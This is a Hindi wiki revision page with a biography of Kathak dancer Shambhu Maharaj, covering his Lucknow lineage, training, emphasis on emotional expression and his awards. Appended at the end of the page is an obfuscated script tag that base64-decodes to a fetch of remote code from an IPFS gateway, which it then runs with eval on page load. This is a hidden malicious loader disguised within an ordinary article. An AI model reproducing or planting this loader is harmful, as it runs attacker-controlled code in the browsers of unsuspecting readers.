शंभू महाराज: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
 
Line 9: Line 9:
|मृत्यु=[[4 नवम्बर]], [[1970]]
|मृत्यु=[[4 नवम्बर]], [[1970]]
|मृत्यु स्थान=
|मृत्यु स्थान=
|अभिभावक=पिता- कालिका प्रसाद
|अभिभावक=[[पिता]]- कालिका प्रसाद
|पति/पत्नी=
|पति/पत्नी=
|संतान=
|संतान=
Line 28: Line 28:
|शीर्षक 2=
|शीर्षक 2=
|पाठ 2=
|पाठ 2=
|अन्य जानकारी=शंभू महाराज नृत्य को लय से अधिक भाव-प्रधान के महत्त्व को स्वीकार करते थे। उनकी मान्यता थी कि- "भाव-विहीन लय-ताल प्रधान नृत्य मात्र एक चमत्कारपूर्ण तमाशा हो सकता है, नृत्य नहीं हो सकता।"
|अन्य जानकारी=शंभू महाराज [[नृत्य कला|नृत्य]] को लय से अधिक भाव-प्रधान के महत्त्व को स्वीकार करते थे। उनकी मान्यता थी कि- "भाव-विहीन लय-ताल प्रधान नृत्य मात्र एक चमत्कारपूर्ण तमाशा हो सकता है, नृत्य नहीं हो सकता।"
|बाहरी कड़ियाँ=
|बाहरी कड़ियाँ=
|अद्यतन=01:18, 19 अक्टूबर-2016 (IST)
|अद्यतन=01:18, 19 अक्टूबर-2016 (IST)
Line 34: Line 34:
'''शंभू महाराज''' ([[अंग्रेज़ी]]: ''Shambhu Maharaj'', जन्म- [[16 नवम्बर]], [[1907]]<ref name="a">{{cite web |url= http://bit.ly/2e0nIK3|title=शंभू महाराज |accessmonthday=19 अक्टूबर |accessyear=2016 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }}</ref>, [[लखनऊ]], [[उत्तर प्रदेश]]; मृत्यु- [[4 नवम्बर]], [[1970]]) [[शास्त्रीय नृत्य|भारतीय शास्त्रीय नृत्य शैली]] [[कत्थक]] के प्रसिद्धि प्राप्त गुरु तथा नर्तक थे। वे [[लखनऊ घराना|लखनऊ घराने]] से सम्बंधित थे। उनका वास्तविक नाम 'शंभूनाथ मिश्रा' था। [[नृत्य]] के संग [[ठुमरी]] गाकर उसके भावों को विभिन्न प्रकार से इस अदा से शंभू महाराज प्रदर्शित करते थे कि दर्शक मुग्ध हुए बिना नहीं रह सकता था।
'''शंभू महाराज''' ([[अंग्रेज़ी]]: ''Shambhu Maharaj'', जन्म- [[16 नवम्बर]], [[1907]]<ref name="a">{{cite web |url= http://bit.ly/2e0nIK3|title=शंभू महाराज |accessmonthday=19 अक्टूबर |accessyear=2016 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }}</ref>, [[लखनऊ]], [[उत्तर प्रदेश]]; मृत्यु- [[4 नवम्बर]], [[1970]]) [[शास्त्रीय नृत्य|भारतीय शास्त्रीय नृत्य शैली]] [[कत्थक]] के प्रसिद्धि प्राप्त गुरु तथा नर्तक थे। वे [[लखनऊ घराना|लखनऊ घराने]] से सम्बंधित थे। उनका वास्तविक नाम 'शंभूनाथ मिश्रा' था। [[नृत्य]] के संग [[ठुमरी]] गाकर उसके भावों को विभिन्न प्रकार से इस अदा से शंभू महाराज प्रदर्शित करते थे कि दर्शक मुग्ध हुए बिना नहीं रह सकता था।
==परिचय==
==परिचय==
शंभू महाराज का जन्म 16 नवम्बर सन 1907 को [[लखनऊ]], [[उत्तर प्रदेश]] में हुआ था। लखनऊ घराने के प्रसिद्ध नर्तकों में उनका विशिष्ट स्थान रहा है। नृत्य के क्षेत्र में उत्कृष्ट योगदान के लिए उन्हें 'नृत्य  सम्राट' की उपाधि से विभूषित किया गया था। शंभू महाराज के पिता [[कालका प्रसाद]] तथा पितामह दुर्गा प्रसाद के साथ अग्रज [[अच्छन महाराज]] भी अपने समय के श्रेष्ठ नृत्यकारों में से एक थे। इस प्रकार नृत्य कला उन्हें विरासत में मिली थी।
शंभू महाराज का जन्म 16 नवम्बर सन 1907 को [[लखनऊ]], [[उत्तर प्रदेश]] में हुआ था। लखनऊ घराने के प्रसिद्ध नर्तकों में उनका विशिष्ट स्थान रहा है। नृत्य के क्षेत्र में उत्कृष्ट योगदान के लिए उन्हें 'नृत्य  सम्राट' की उपाधि से विभूषित किया गया था। शंभू महाराज के पिता [[कालका प्रसाद]] तथा पितामह दुर्गा प्रसाद के साथ अग्रज [[अच्छन महाराज]] भी अपने समय के श्रेष्ठ नृत्यकारों में से एक थे। इस प्रकार [[नृत्य कला]] उन्हें विरासत में मिली थी।
==शिक्षा==
==शिक्षा==
शंभू महाराज को [[कत्थक|कत्थक नृत्य]] की शिक्षा सबसे पहले उनके चाचा [[बिन्दादीन महाराज]] से और बाद में बड़े भाई अच्छन महाराज से मिली। नृत्य के अतिरिक्त उन्होंने [[शास्त्रीय संगीत|हिंदुस्तानी शास्त्रीय संगीत]] का भी अध्ययन किया। विशेष रूप से [[ठुमरी]] का। ठुमरी गायिकी की शिक्षा उन्होंने मुईनुद्दीन खाँ के अनुज रहीमुद्दीन खाँ से प्राप्त की। इस प्रकार शंभू महाराज नृत्य व [[संगीत]] के गायन दोनों विधाओं में पारंगत थे।<ref name="a"/>
शंभू महाराज को [[कत्थक|कत्थक नृत्य]] की शिक्षा सबसे पहले उनके चाचा [[बिन्दादीन महाराज]] से और बाद में बड़े भाई अच्छन महाराज से मिली। नृत्य के अतिरिक्त उन्होंने [[शास्त्रीय संगीत|हिंदुस्तानी शास्त्रीय संगीत]] का भी अध्ययन किया। विशेष रूप से [[ठुमरी]] का। ठुमरी गायिकी की शिक्षा उन्होंने मुईनुद्दीन खाँ के अनुज रहीमुद्दीन खाँ से प्राप्त की। इस प्रकार शंभू महाराज नृत्य व [[संगीत]] के गायन दोनों विधाओं में पारंगत थे।<ref name="a"/>

Latest revision as of 05:40, 16 November 2017

शंभू महाराज
पूरा नाम पण्डित शंभू महाराज
अन्य नाम शंभूनाथ मिश्रा
जन्म 16 नवम्बर, 1907
जन्म भूमि लखनऊ, उत्तर प्रदेश
मृत्यु 4 नवम्बर, 1970
अभिभावक पिता- कालिका प्रसाद
कर्म भूमि भारत
कर्म-क्षेत्र शास्त्रीय नृत्य व गायन
पुरस्कार-उपाधि 'संगीत नाटक अकादमी फेलोशिप' (1967), 'पद्म श्री' (1956)
प्रसिद्धि कत्थक नर्तक
नागरिकता भारतीय
अन्य जानकारी शंभू महाराज नृत्य को लय से अधिक भाव-प्रधान के महत्त्व को स्वीकार करते थे। उनकी मान्यता थी कि- "भाव-विहीन लय-ताल प्रधान नृत्य मात्र एक चमत्कारपूर्ण तमाशा हो सकता है, नृत्य नहीं हो सकता।"
अद्यतन‎ 01:18, 19 अक्टूबर-2016 (IST)

शंभू महाराज (अंग्रेज़ी: Shambhu Maharaj, जन्म- 16 नवम्बर, 1907[1], लखनऊ, उत्तर प्रदेश; मृत्यु- 4 नवम्बर, 1970) भारतीय शास्त्रीय नृत्य शैली कत्थक के प्रसिद्धि प्राप्त गुरु तथा नर्तक थे। वे लखनऊ घराने से सम्बंधित थे। उनका वास्तविक नाम 'शंभूनाथ मिश्रा' था। नृत्य के संग ठुमरी गाकर उसके भावों को विभिन्न प्रकार से इस अदा से शंभू महाराज प्रदर्शित करते थे कि दर्शक मुग्ध हुए बिना नहीं रह सकता था।

परिचय

शंभू महाराज का जन्म 16 नवम्बर सन 1907 को लखनऊ, उत्तर प्रदेश में हुआ था। लखनऊ घराने के प्रसिद्ध नर्तकों में उनका विशिष्ट स्थान रहा है। नृत्य के क्षेत्र में उत्कृष्ट योगदान के लिए उन्हें 'नृत्य सम्राट' की उपाधि से विभूषित किया गया था। शंभू महाराज के पिता कालका प्रसाद तथा पितामह दुर्गा प्रसाद के साथ अग्रज अच्छन महाराज भी अपने समय के श्रेष्ठ नृत्यकारों में से एक थे। इस प्रकार नृत्य कला उन्हें विरासत में मिली थी।

शिक्षा

शंभू महाराज को कत्थक नृत्य की शिक्षा सबसे पहले उनके चाचा बिन्दादीन महाराज से और बाद में बड़े भाई अच्छन महाराज से मिली। नृत्य के अतिरिक्त उन्होंने हिंदुस्तानी शास्त्रीय संगीत का भी अध्ययन किया। विशेष रूप से ठुमरी का। ठुमरी गायिकी की शिक्षा उन्होंने मुईनुद्दीन खाँ के अनुज रहीमुद्दीन खाँ से प्राप्त की। इस प्रकार शंभू महाराज नृत्य व संगीत के गायन दोनों विधाओं में पारंगत थे।[1]

नृत्य में भाव-प्रधानता के पक्षकार

शंभू महाराज नृत्य को लय से अधिक भाव-प्रधान के महत्त्व को स्वीकार करते थे। उनकी मान्यता थी कि- "भाव-विहीन लय-ताल प्रधान नृत्य मात्र एक चमत्कारपूर्ण तमाशा हो सकता है, नृत्य नहीं हो सकता।" नृत्य कौशल के प्रदर्शन में शंभू महाराज शोक, आशा, निराशा, क्रोध, प्रेम, घृणा आदि भावों को चमत्कारपूर्ण दिखाते थे। बहुत-से प्राचीन बोल, परण तथा टुकड़े उन्हें कंठस्य थे। नृत्य के संग ठुमरी गाकर उसके भावों को विभिन्न प्रकार से इस अदा से शंभू महाराज प्रदर्शित करते थे कि दर्शक मुग्ध हुए बिना नहीं रह सकता था। गायन में ठुमरी के साथ दादरा, गज़ल व भजन भी बड़ी तन्मयता से श्रोताओं को सुनाते थे।

पुरस्कार व सम्मान

शंभू महाराज को 1967 में 'संगीत नाटक अकादमी फेलोशिप' से तथा 1956 में 'पद्मश्री' से सम्मानित किया गया था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 शंभू महाराज (हिंदी)। । अभिगमन तिथि: 19 अक्टूबर, 2016।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>